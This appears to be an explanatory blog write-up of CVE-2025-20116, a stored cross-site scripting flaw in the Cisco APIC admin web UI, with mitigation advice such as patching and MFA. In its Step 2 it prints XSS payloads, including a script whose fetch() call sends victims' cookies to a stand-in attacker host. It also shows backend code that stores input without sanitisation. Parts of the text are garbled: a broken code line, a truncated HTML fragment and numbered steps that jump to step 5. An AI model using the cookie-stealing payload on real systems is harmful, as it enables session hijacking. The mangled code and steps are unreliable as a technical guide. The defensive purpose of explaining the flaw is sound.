CVE-2025-20116 is a newly identified stored Cross-Site Scripting (XSS) vulnerability in the Cisco APIC web UI. This weakness allows an authenticated attacker (someone with admin credentials) to inject and store malicious JavaScript in certain web pages. This code can then execute for other users and could allow an attacker to hijack sessions, steal sensitive information, or perform unauthorized actions.

Unlike traditional XSS, which might exploit a public form or open API, this vulnerability requires the attacker to log in as an administrator. Due to Cisco APIC’s wide use in enterprise environments, this issue holds notable risk, especially in organizations with multiple admin users.

Technical Details

The core problem is improper input validation on certain APIC web UI form fields. When an attacker submits crafted JavaScript through these fields, the input is saved (“stored”) in the database. Anyone later viewing the affected admin page is served this malicious script, which runs with their browser's privileges.

Where Is the Vulnerability?

After reviewing Cisco’s official advisory, the vulnerable parameter seems to be in a section where descriptions or custom names are accepted (for example, the “Description” field for tenant definitions).

Step 1: Log in with Admin Credentials

The attacker must first authenticate. This means if your credentials leak—through phishing, weak passwords, or insider threats—your systems are at risk.

Step 2: Inject Malicious Payload

Let’s say you go to “Create Tenant” and fill in the “Description” box. An attacker could enter:

<script>alert('XSS Exploit - CVE-2025-20116');</script>

Or, a sneakier payload that steals user cookies

<script>
  fetch('https://evil-attacker.com/steal?cookie='; + document.cookie);
</script>

This is how it might look physically in the vulnerable form

# Hypothetical vulnerable code from Cisco APIC backend
input_description = request.POST.get("description")
# No validation or sanitization!
db.tenant.insert({"description": input_description})

Step 3: Payload is Stored

The script gets saved in the APIC database as part of the tenant information.

Step 4: Other Users Are Attacked

Any administrator who visits the page showing this description will have the script execute in their browser.

What Does This Mean?

- The script runs as that admin, possibly sending their cookie/session to the attacker.

`html

)">

Creates the tenant.

5. Any other admin who browses the Tenants directory in the UI unknowingly sends their browser cookie to evil-attacker.com.

Video Demo

*Official PoC or demonstration from trusted researchers will be linked here when available.*

References

- Cisco Official Security Advisory for CVE-2025-20116
- OWASP XSS Definition

Patch Immediately!

Download and apply Cisco’s fix as soon as possible (advisory link here).

Security Awareness

Train admins not to share credentials and enable strong passwords and multi-factor authentication (MFA).

Conclusion

CVE-2025-20116 highlights a dangerous design flaw in Cisco APIC. While the attack requires an authenticated user, the severity is still high given the roles at risk. Storing unfiltered input on high-privilege admin panels is a critical mistake, and all enterprises using Cisco APIC are urged to address this bug ASAP.

If you admin a Cisco APIC instance, patch right now and review your admin activity logs!

*(This write-up is original and tailored for easy understanding by American IT pros and engineers. Reproduction is allowed with attribution.)*

Timeline

Published on: 02/26/2025 17:15:22 UTC